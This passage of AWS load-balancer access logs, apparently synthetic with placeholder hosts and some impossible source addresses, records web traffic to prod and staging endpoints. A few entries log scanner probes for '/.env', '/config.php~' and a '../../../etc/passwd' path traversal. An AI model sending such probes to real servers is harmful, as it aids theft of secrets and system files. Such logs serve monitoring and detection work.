arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d542-db0059b9d0a547c1b00a8ad7" "prod-api-alb.example.com" "-" 10 2024-11-01T02:06:42.077517Z "forward" "-" "-" "10.0.52.118:443" "404" "-" "-" +http 2024-11-01T02:06:42.463088Z staging-alb 45.155.205.6:14116 86.164.125.187:8080 0.050006 0.689264 0.012070 301 301 231 2352 "GET /.env HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d542-4e2e0960b572499bb2735c9f" "-" "-" 10 2024-11-01T02:06:42.463088Z "forward" "-" "-" "86.164.125.187:8080" "301" "-" "-" +http 2024-11-01T02:06:43.715096Z staging-alb 202.167.115.33:44095 196.12.143.161:80 0.117672 0.618041 0.073409 404 404 886 11841 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d543-d52b410d1d684ba4b03caf04" "staging-alb.example.com" "-" 2 2024-11-01T02:06:43.715096Z "forward" "-" "-" "196.12.143.161:80" "404" "-" "-" +https 2024-11-01T02:06:45.574915Z staging-alb 34.82.127.249:61926 155.100.227.144:80 0.036544 0.375402 0.006717 302 302 599 7498 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d545-924ba089b7da41b99f75a2cf" "staging-alb.example.com" "-" 8 2024-11-01T02:06:45.574915Z "forward" "-" "-" "155.100.227.144:80" "302" "-" "-" +https 2024-11-01T02:06:46.214473Z prod-web-alb 30.207.200.151:38689 10.0.1.53:443 0.074278 0.219582 0.035761 404 404 222 8546 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d546-a6827d62f6934eafb6580aa8" "prod-web-alb.example.com" "-" 0 2024-11-01T02:06:46.214473Z "forward" "-" "-" "10.0.1.53:443" "404" "-" "-" +http 2024-11-01T02:06:46.502692Z staging-alb 213.169.254.0:21847 71.26.156.97:80 0.016419 0.387338 0.036063 301 301 261 13734 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d546-a87b5c81fe7d41ad99fec3b9" "staging-alb.example.com" "-" 1 2024-11-01T02:06:46.502692Z "forward" "-" "-" "71.26.156.97:80" "301" "-" "-" +https 2024-11-01T02:06:47.551192Z prod-web-alb 180.95.221.64:25410 10.0.7.3:443 0.090144 0.048107 0.045025 404 404 451 6888 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d547-4430b69f29874a1fa52ac35c" "prod-web-alb.example.com" "-" 1 2024-11-01T02:06:47.551192Z "forward" "-" "-" "10.0.7.3:443" "404" "-" "-" +https 2024-11-01T02:06:49.146204Z prod-web-alb 146.155.225.143:36593 10.0.158.40:443 0.053490 0.352696 0.073988 200 200 751 6641 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d549-25c8e9eea8f04694925551c9" "prod-web-alb.example.com" "-" 10 2024-11-01T02:06:49.146204Z "forward" "-" "-" "10.0.158.40:443" "200" "-" "-" +https 2024-11-01T02:06:50.372875Z prod-web-alb 200.156.38.84:12474 10.0.48.141:443 0.080228 0.289953 0.036174 302 302 397 11512 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d54a-3e7b287c7f764a9b94ac33b2" "prod-web-alb.example.com" "-" 7 2024-11-01T02:06:50.372875Z "forward" "-" "-" "10.0.48.141:443" "302" "-" "-" +https 2024-11-01T02:06:51.415971Z prod-web-alb 212.125.157.234:11896 10.0.98.243:443 0.055237 0.205071 0.024737 301 301 830 14583 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d54b-9211e9c4922b46bbaa89b029" "prod-web-alb.example.com" "-" 9 2024-11-01T02:06:51.415971Z "forward" "-" "-" "10.0.98.243:443" "301" "-" "-" +https 2024-11-01T02:06:51.660892Z prod-api-alb 185.181.6.37:29669 10.0.116.135:443 0.089028 0.057612 0.083143 302 302 249 4332 "POST /config.php~ HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d54b-146ca91b2de24a64980acc52" "-" "-" 6 2024-11-01T02:06:51.660892Z "forward" "-" "-" "10.0.116.135:443" "302" "-" "-" +https 2024-11-01T02:06:53.128413Z prod-api-alb 130.243.70.137:25200 10.0.25.119:443 0.099763 0.393045 0.099905 200 200 691 12786 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d54d-c23bd5a06d114695bc4b05bc" "prod-api-alb.example.com" "-" 2 2024-11-01T02:06:53.128413Z "forward" "-" "-" "10.0.25.119:443" "200" "-" "-" +https 2024-11-01T02:06:53.764977Z prod-web-alb 12.88.109.243:44677 10.0.108.63:443 0.071847 0.416660 0.039257 200 200 493 12655 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d54d-a0978a1a79144c65a1ebd5da" "prod-web-alb.example.com" "-" 2 2024-11-01T02:06:53.764977Z "forward" "-" "-" "10.0.108.63:443" "200" "-" "-" +https 2024-11-01T02:06:55.216474Z prod-api-alb 193.27.228.24:13042 10.0.28.87:443 0.062102 0.076609 0.023505 404 404 504 4050 "GET /../../../etc/passwd HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d54f-6a0c085d04804616ab1bfa05" "-" "-" 4 2024-11-01T02:06:55.216474Z "forward" "-" "-" "10.0.28.87:443" "404" "-" "-" +https 2024-11-01T02:06:57.215741Z prod-web-alb 132.229.208.224:10928 10.0.16.18:443 0.058248 0.015040 0.010019 200 200 715 6570 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d551-3f18374d31eb4f4c91e37c83" "prod-web-alb.example.com" "-" 6 2024-11-01T02:06:57.215741Z "forward" "-" "-" "10.0.16.18:443" "200" "-" "-" +https 2024-11-01T02:06:58.534766Z prod-api-alb 47.204.55.152:15657 10.0.143.192:443 0.041378 0.459890 0.086537 404 404 135 7667 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d552-5a9abe4091f24a60bbd8b8a3" "prod-api-alb.example.com" "-" 0 2024-11-01T02:06:58.534766Z "forward" "-" "-" "10.0.143.192:443" "404" "-" "-" +http 2024-11-01T02:07:00.363409Z staging-alb 73.67.5.172:47188 223.137.226.218:8080 0.012456 0.695467 0.019400 302 302 446 10927 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d554-0704969d8d1541c2adc8aaa1" "staging-alb.example.com" "-" 8 2024-11-01T02:07:00.363409Z "forward" "-" "-" "223.137.226.218:8080" "302" "-" "-" +https 2024-11-01T02:07:01.714479Z prod-web-alb 3.234.241.67:26343 10.0.125.84:443 0.039436 0.465350 0.045547 200 200 750 5855 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d555-8953f60736854700808fdcf0" "prod-web-alb.example.com" "-" 9 2024-11-01T02:07:01.714479Z "forward" "-" "-" "10.0.125.84:443" "200" "-" "-" +https 2024-11-01T02:07:03.150808Z staging-alb 50.120.146.207:11439 81.117.117.197:80 0.112159 0.238480 0.029786 301 301 641 14617 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d557-d9ecb7996ac441d893d80c74" "staging-alb.example.com" "-" 6 2024-11-01T02:07:03.150808Z "forward" "-" "-" "81.117.117.197:80" "301" "-" "-" +http 2024-11-01T02:07:04.283528Z staging-alb 112.8.178.192:36103 166.145.55.19:8080 0.055244 0.190694 0.144965 302 302 742 7946 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d558-85e42708713d4419bda450f0" "staging-alb.example.com" "-" 10 2024-11-01T02:07:04.283528Z "forward" "-" "-" "166.145.55.19:8080" "302" "-" "-" +https 2024-11-01T02:07:05.682821Z prod-web-alb 2.188.35.209:50730 10.0.255.109:443 0.039853 0.221643 0.069461 302 302 331 393 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d559-3ce0ef62ddff40e19451665e" "prod-web-alb.example.com" "-" 3 2024-11-01T02:07:05.682821Z "forward" "-" "-" "10.0.255.109:443" "302" "-" "-" +https 2024-11-01T02:07:06.171669Z prod-api-alb 1.230.151.24:44141 10.0.144.120:443 0.069135 0.069358 0.012306 302 302 544 2484 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d55a-0aad326a8aef44bf86c1fb48" "prod-api-alb.example.com" "-" 10 2024-11-01T02:07:06.171669Z "forward" "-" "-" "10.0.144.120:443" "302" "-" "-" +https 2024-11-01T02:07:07.708528Z prod-api-alb 20.233.29.254:10012 10.0.49.19:443 0.087763 0.474148 0.031541 404 404 900 9117 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d55b-db97ab340b3f4f5481cc52b0" "prod-api-alb.example.com" "-" 0 2024-11-01T02:07:07.708528Z "forward" "-" "-" "10.0.49.19:443" "404" "-" "-" +https 2024-11-01T02:07:09.025593Z prod-api-alb 193.210.41.223:44572 10.0.30.27:443 0.036076 0.064150 0.025196 404 404 79 12110 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d55d-2bceae833daa4ba6a71257c7" "prod-api-alb.example.com" "-" 5 2024-11-01T02:07:09.025593Z "forward" "-" "-" "10.0.30.27:443" "404" "-" "-" +http 2024-11-01T02:07:09.734930Z staging-alb 94.55.189.60:34942 4.101.252.67:443 0.137459 0.663896 0.124339 404 404 475 13488 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d55d-54ffd81da5224e55840a4618" "staging-alb.example.com" "-" 7 2024-11-01T02:07:09.734930Z "forward" "-" "-" "4.101.252.67:443" "404" "-" "-" +https 2024-11-01T02:07:10.321141Z prod-api-alb 104.118.108.44:45084 10.0.67.33:443 0.062586 0.345007 0.061756 200 200 450 13033 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d55e-96da0974823a41ba8a726549" "prod-api-alb.example.com" "-" 9 2024-11-01T02:07:10.321141Z "forward" "-" "-" "10.0.67.33:443" "200" "-" "-" +https 2024-11-01T02:07:12.058039Z prod-api-alb 79.211.41.225:46939 10.0.141.245:443 0.087289 0.167239 0.085921 200 200 232 4186 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d560-e1a398f6dcf24603a00f8e65" "prod-api-alb.example.com" "-" 6 2024-11-01T02:07:12.058039Z "forward" "-" "-" "10.0.141.245:443" "200" "-" "-" +https 2024-11-01T02:07:13.527425Z prod-api-alb 47.4.49.157:41704 10.0.178.53:443 0.023396 0.154235 0.059670 200 200 567 11765 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d561-782f8bc62a5e461f920c87e1" "prod-api-alb.example.com" "-" 9 2024-11-01T02:07:13.527425Z "forward" "-" "-" "10.0.178.53:443" "200" "-" "-" +http 2024-11-01T02:07:15.277110Z staging-alb 229.130.195.216:63778 193.187.1.101:8080 0.010915 0.694062 0.148209 302 302 455 8458 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d563-109b8e8d02ad4af8a09684ff" "-" "-" 4 2024-11-01T02:07:15.277110Z "forward" "-" "-" "193.187.1.101:8080" "302" "-" "-" +https 2024-11-01T02:07:16.994382Z prod-web-alb 71.25.106.222:28652 10.0.253.35:443 0.049219 0.451695 0.056407 200 200 420 13752 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d564-d247d30054b849ec8d32cc89" "prod-web-alb.example.com" "-" 6 2024-11-01T02:07:16.994382Z "forward" "-" "-" "10.0.253.35:443" "200" "-" "-" +https 2024-11-01T02:07:18.665982Z prod-api-alb 19.241.203.161:28465 10.0.23.76:443 0.019346 0.149035 0.023988 200 200 18 12191 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d566-24b7e6ca425c4b289bfe7d64" "prod-api-alb.example.com" "-" 6 2024-11-01T02:07:18.665982Z "forward" "-" "-" "10.0.23.76:443" "200" "-" "-" +https 2024-11-01T02:07:19.632685Z prod-api-alb 193.102.151.59:30530 10.0.40.124:443 0.058791 0.133867 0.058824 200 200 987 4201 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d567-7cae0c1e852b4f869237b348" "prod-api-alb.example.com" "-" 9 2024-11-01T02:07:19.632685Z "forward" "-" "-" "10.0.40.124:443" "200" "-" "-" +https 2024-11-01T02:07:21.382375Z staging-alb 32.173.178.27:60060 208.166.20.255:443 0.114053 0.426176 0.067084 200 200 31 6914 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d569-be89e5ecf0a24060a509a804" "staging-alb.example.com" "-" 6 2024-11-01T02:07:21.382375Z "forward" "-" "-" "208.166.20.255:443" "200" "-" "-" +https 2024-11-01T02:07:21.501118Z staging-alb 143.246.158.253:56178 129.147.74.224:8080 0.099883 0.119176 0.087438 302 302 565 7635 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d569-62e818df82ab4dfeb2ab5a48" "staging-alb.example.com" "-" 6 2024-11-01T02:07:21.501118Z "forward" "-" "-" "129.147.74.224:8080" "302" "-" "-" +https 2024-11-01T02:07:22.670010Z prod-web-alb 43.177.238.79:31735 10.0.237.61:443 0.016338 0.266119 0.072892 200 200 274 3749 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d56a-50dca3281d4e480ab5d897d1" "prod-web-alb.example.com" "-" 0 2024-11-01T02:07:22.670010Z "forward" "-" "-" "10.0.237.61:443" "200" "-" "-" +http 2024-11-01T02:07:23.693270Z staging-alb 33.46.78.56:12729 32.108.213.153:443 0.030765 0.024807 0.132415 200 200 857 8675 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d56b-a575c1f3a51d4c9a91c77136" "staging-alb.example.com" "-" 2 2024-11-01T02:07:23.693270Z "forward" "-" "-" "32.108.213.153:443" "200" "-" "-" +https 2024-11-01T02:07:25.171213Z prod-api-alb 134.26.162.98:23685 10.0.216.193:443 0.072366 0.063203 0.001468 200 200 283 6187 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d56d-f73c79dec50244dc801b0d06" "prod-api-alb.example.com" "-" 4 2024-11-01T02:07:25.171213Z "forward" "-" "-" "10.0.216.193:443" "200" "-" "-" +https 2024-11-01T02:07:26.230645Z prod-web-alb 122.104.140.157:22175 10.0.211.73:443 0.025320 0.049214 0.010200 200 200 986 12437 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d56e-3e49ce64edcd42cb8f811d46" "prod-web-alb.example.com" "-" 8 2024-11-01T02:07:26.230645Z "forward" "-" "-" "10.0.211.73:443" "200" "-" "-" +http 2024-11-01T02:07:27.893924Z staging-alb 58.76.77.126:14792 246.203.207.254:8080 0.052614 0.481830 0.001328 404 404 483 11049 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d56f-d11284e18a084f61a2cae333" "staging-alb.example.com" "-" 8 2024-11-01T02:07:27.893924Z "forward" "-" "-" "246.203.207.254:8080" "404" "-" "-" +https 2024-11-01T02:07:29.101806Z prod-web-alb 72.49.182.86:47324 10.0.255.186:443 0.096446 0.213546 0.046630 200 200 209 7686 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d571-2a5b985879cd40ea89bb3d0e" "prod-web-alb.example.com" "-" 9 2024-11-01T02:07:29.101806Z "forward" "-" "-" "10.0.255.186:443" "200" "-" "-" +https 2024-11-01T02:07:30.263741Z prod-web-alb 59.78.71.66:12921 10.0.146.113:443 0.054749 0.416723 0.086142 200 200 286 10825 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d572-0f253895104f4d91ab882e63" "prod-web-alb.example.com" "-" 10 2024-11-01T02:07:30.263741Z "forward" "-" "-" "10.0.146.113:443" "200" "-" "-" +https 2024-11-01T02:07:32.104301Z prod-web-alb 147.7.162.197:52462 10.0.161.155:443 0.083278 0.004341 0.065852 301 301 698 3143 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d574-7db567c0151a4e968fa1134b" "prod-web-alb.example.com" "-" 10 2024-11-01T02:07:32.104301Z "forward" "-" "-" "10.0.161.155:443" "301" "-" "-" +https 2024-11-01T02:07:33.249266Z prod-api-alb 239.61.205.153:57823 10.0.31.135:443 0.062498 0.466770 0.099415 200 200 722 9331 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d575-16fc494014de450fb5cfbbcd" "prod-api-alb.example.com" "-" 2 2024-11-01T02:07:33.249266Z "forward" "-" "-" "10.0.31.135:443" "200" "-" "-" +http 2024-11-01T02:07:33.851730Z staging-alb 189.141.88.164:63674 51.17.219.111:8080 0.009604 0.416233 0.008947 200 200 427 5746 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d575-f188c9cdc17748529c35f1c4" "staging-alb.example.com" "-" 6 2024-11-01T02:07:33.851730Z "forward" "-" "-" "51.17.219.111:8080" "200" "-" "-" +https 2024-11-01T02:07:34.828368Z prod-web-alb 16.93.95.61:34773 10.0.147.20:443 0.064787 0.177422 0.004914 301 301 590 9131 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d576-02df13331ec74a2488087b9f" "prod-web-alb.example.com" "-" 6 2024-11-01T02:07:34.828368Z "forward" "-" "-" "10.0.147.20:443" "301" "-" "-" +https 2024-11-01T02:07:35.109718Z prod-web-alb 22.232.200.138:24995 10.0.211.187:443 0.085938 0.029156 0.024228 200 200 692 10381 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d577-af07e839138f4eb294aed4f1" "prod-web-alb.example.com" "-" 10 2024-11-01T02:07:35.109718Z "forward" "-" "-" "10.0.211.187:443" "200" "-" "-" +https 2024-11-01T02:07:36.887451Z prod-web-alb 30.70.121.137:49246 10.0.4.234:443 0.058231 0.275255 0.041191 200 200 932 13159 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d578-1f4f871cdc814fa7897f5cd6" "prod-web-alb.example.com" "-" 5 2024-11-01T02:07:36.887451Z "forward" "-" "-" "10.0.4.234:443" "200" "-" "-" +https 2024-11-01T02:07:37.693586Z prod-api-alb 195.13.74.226:59255 10.0.188.64:443 0.037545 0.093744 0.017610 301 301 867 10631 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d579-e15742c50bee41f1966bfb08" "prod-api-alb.example.com" "-" 10 2024-11-01T02:07:37.693586Z "forward" "-" "-" "10.0.188.64:443" "301" "-" "-" +https 2024-11-01T02:07:38.060507Z prod-api-alb 43.98.49.177:14990 10.0.136.135:443 0.091472 0.158179 0.010507 200 200 985 6430 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 